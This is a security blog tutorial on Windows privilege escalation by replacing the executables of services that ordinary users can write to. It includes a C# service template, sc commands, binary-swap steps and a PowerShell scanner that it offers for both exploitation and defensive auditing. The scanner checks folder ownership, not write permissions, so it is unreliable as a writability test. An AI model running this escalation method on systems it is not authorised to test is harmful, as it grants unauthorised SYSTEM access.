0x00 Preface

---

Learned some techniques from DidierStevens' blog. This article will test and summarize the involved techniques, and open-source a powershell script to find replaceable services for automated exploitation.

DidierStevens' blog link:

https://blog.didierstevens.com/2017/09/05/abusing-a-writable-windows-service/

0x01 Introduction

---

This article will cover the following:

  • Using C# to write programs callable by Windows services
  • Usage tips for psexec's -i parameter
  • Usage tips for sc command
  • Obtaining executable paths corresponding to services via powershell
  • Details of automated exploitation script development

0x02 Using C# to write programs callable by Windows services

---

Programs that can be called by Windows services need to be able to interact with the SCM (Services Control Manager), so special attention is required during programming.

Didier Stevens provided a C# development template in his blog, with the code as follows:

using System.ServiceProcess;

namespace Demo
{
public class Service : ServiceBase
{
protected override void OnStart(string[] args)
{
System.Diagnostics.Process.Start("cmd.exe");
}
}

static class Program { static void Main() { ServiceBase.Run(new ServiceBase[] { new Service() }); } }
}

Since it's C# code, it can be directly compiled using csc.exe

Therefore, in actual usage, there's no need to pre-compile the exe; just upload the cs script and then use csc.exe to compile it into an exe

0x03 SC Command Usage Tips

---

Query all service lists:

sc query

Query specified service configuration information:

sc qc service_name

Create service:

sc create Test type= own binpath= c:\test\test.exe

Delete service:

sc delete service_name

0x04 Obtaining the executable file path of a service via PowerShell

---

Didier Stevens mentioned in his blog that his friend found a writable Windows service requiring only normal user permissions, which naturally led to the question of whether we could also find such a service

Using sc query can list all service names, then using sc qc service_name queries the corresponding executable file path for that service

For example: sc qc eventlog

As shown below, the executable file path for the eventlog service is C:\Windows\System32\svchost.exe

Alt text

You can manually search for the executable file path corresponding to each service to see if there is a path that meets the requirements (i.e., writable by ordinary users)

Of course, this process is time-consuming and labor-intensive, so it's best to implement it by writing a program

On Windows systems, the simplest and most efficient development language is still PowerShell, so it was decided to use PowerShell to achieve automated judgment

However, the sc command cannot be run directly in PowerShell, as PS will treat it as an alias for set-content

Note:

You can run the sc command in PowerShell by using sc.exe, for example: sc.exe qc eventlog

Solution:

Call WMI to achieve this, the code is as follows:

Get-WmiObject win32_service | select Name,PathName

As shown below, it can list services and their corresponding executable file paths

Alt text

0x05 Automated Exploit Script Development Details

---

The development details of the automated script are introduced below, with the following approach:

After listing the services and their corresponding executable file paths, extract each path and determine whether the path has writable permissions for ordinary users.

1. Obtain all executable file paths

Get-WmiObject win32_service | select Name,PathName

2. Convert executable file paths into an array

$out = (Get-WmiObject win32_service | select PathName)
$out|% {[array]$global:path += $_.PathName}

Array range:

$out[0] to $out[($out.Count-1)]

As shown in the figure below

Alt text

3. Extract the path, display the folder of a single array element

$out[0].PathName.Substring($out[0].PathName.IndexOfAny("C"),$out[0].PathName.LastIndexOfAny("\"))

As shown in the figure below

Alt text

4. To unify the format, convert all strings to uppercase

$out[0].PathName.ToUpper().Substring($out[0].PathName.ToUpper().IndexOfAny("C"),$out[0].PathName.ToUpper().LastIndexOfAny("\"))

5. Enumerate all truncated folders

Using a foreach loop:

foreach ($item in $out)
{
$item.PathName.ToUpper().Substring($item.PathName.ToUpper().IndexOfAny("C"),$item.PathName.ToUpper().LastIndexOfAny("\"))
}

As shown in the figure below

Alt text

Alternatively, using a for loop:

for($i=0;$i -le $out.Count-1;$i++)
{
$out[$i].PathName.ToUpper().Substring($out[$i].PathName.ToUpper().IndexOfAny("C"),$out[$i].PathName.ToUpper().LastIndexOfAny("\"))
}

6. Get folder permissions

$a=$out[$i].PathName.ToUpper().Substring($out[$i].PathName.ToUpper().IndexOfAny("C"),$out[$i].PathName.ToUpper().LastIndexOfAny("\"))
Get-Acl -Path $a | select Owner

The following three permissions represent administrator permissions and do not meet the requirements:

  • NT AUTHORITY\SYSTEM
  • NT SERVICE\TrustedInstaller
  • BUILTIN\Administrators

Therefore, they need to be filtered out. The remaining permissions represent the current user, and the corresponding code is:

If($a.Owner -ne "NT AUTHORITY\SYSTEM"){
If($a.Owner -ne "NT SERVICE\TrustedInstaller"){
If($a.Owner -ne "BUILTIN\Administrators"){
$a.Owner
}
}
}

7. After filtering eligible services, search again to find the service name and path corresponding to the current user's permissions

Get-WmiObject win32_service | ?{$_.PathName -like $out[$i].PathName}|select Name,PathName

8. If no exploitable service is found in the system, the script will report an error, indicating that a method cannot be called on a Null value expression

As shown in the figure below

Alt text

Use $ErrorActionPreference="SilentlyContinue" to hide error messages, and write error information into the $Error variable

In summary, optimize the output format, and the complete code is as follows:

$ErrorActionPreference="SilentlyContinue"
$out = (Get-WmiObject win32_service | select PathName)
$out|% {[array]$global:path += $_.PathName}
for($i=0;$i -le $out.Count-1;$i++)
{
$a=Get-Acl -Path $out[$i].PathName.ToUpper().Substring($out[$i].PathName.ToUpper().IndexOfAny("C"),$out[$i].PathName.ToUpper().LastIndexOfAny("\"))
If($a.Owner -ne "NT AUTHORITY\SYSTEM"){
If($a.Owner -ne "NT SERVICE\TrustedInstaller"){
If($a.Owner -ne "BUILTIN\Administrators"){
Get-WmiObject win32_service | ?{$_.PathName -like $out[$i].PathName}|select Name,PathName,ProcessId,StartMode,State,Status
Write-host Owner: $a.Owner
}
}
}
}
Write-host [+] All done.

0x06 Actual Testing

---

1、Manually create service Test

sc create Test type= own binpath= c:\test\test.exe

2、Compile and generate exe

using System.ServiceProcess;
namespace Demo
{
public class Service : ServiceBase
{
protected override void OnStart(string[] args)
{
System.Diagnostics.Process.Start("calc.exe");
}
}
static class Program { static void Main() { ServiceBase.Run(new ServiceBase[] { new Service() }); } }
}

Save as test.cs

Compile using csc.exe:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe test.cs

Generate test.exe

3. Start the service

sc start Test

Check the process, you can see the calc.exe process started with system privileges, as shown in the figure below

Alt text

4. Replace test.exe

In actual situations, if administrator privileges are not obtained, you cannot start or stop the service

If the service is not stopped, you cannot directly delete the exe, and access is denied

However, you can rename the file, which is equivalent to indirectly deleting it, and then rename the new file to test.exe

rename test.exe test2.exe

This way, you can replace the file without stopping the service, as shown in the figure below

Alt text

5. Restart the service

sc stop Test
sc start Test

Of course, this operation requires administrator privileges

6. Tips for using the -i parameter of psexec

Since the exe started by the service runs with system privileges and defaults to session 0, while the user interface is in session 1, the launched exe interface is not visible

You can specify the session for launching the exe with psexec, thus obtaining the program interface

test.cs modified as follows:

using System.ServiceProcess;
namespace Demo
{
public class Service : ServiceBase
{
protected override void OnStart(string[] args)
{
System.Diagnostics.Process.Start(@"c:\test\psexec.exe", @"-accepteula -d -i 1 calc.exe");
}
}
static class Program { static void Main() { ServiceBase.Run(new ServiceBase[] { new Service() }); } }
}

Stop service: sc stop Test

Delete file: del test.exe

Compile file: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe test.cs

Save psexec to c:\test

Start service: sc start Test

At this point, the system-privileged calc.exe interface can be seen, as shown in the figure below

Alt text

7. Use PowerShell script for scanning

As shown in the figure below, mark the service commands and replaceable paths for easy substitution

Alt text

This script can automatically determine whether there are exploitable services on the current system

0x07 Summary

---

If a Windows service with writable permissions for a regular user is found, replacing its executable file allows execution of the replaced file with system privileges after the service restarts, which can be used for privilege escalation.

The open-source script in this article can be used to automatically check whether the current system has Windows services with writable permissions for regular users. From a defender's perspective, this script can also be used to test one's own system.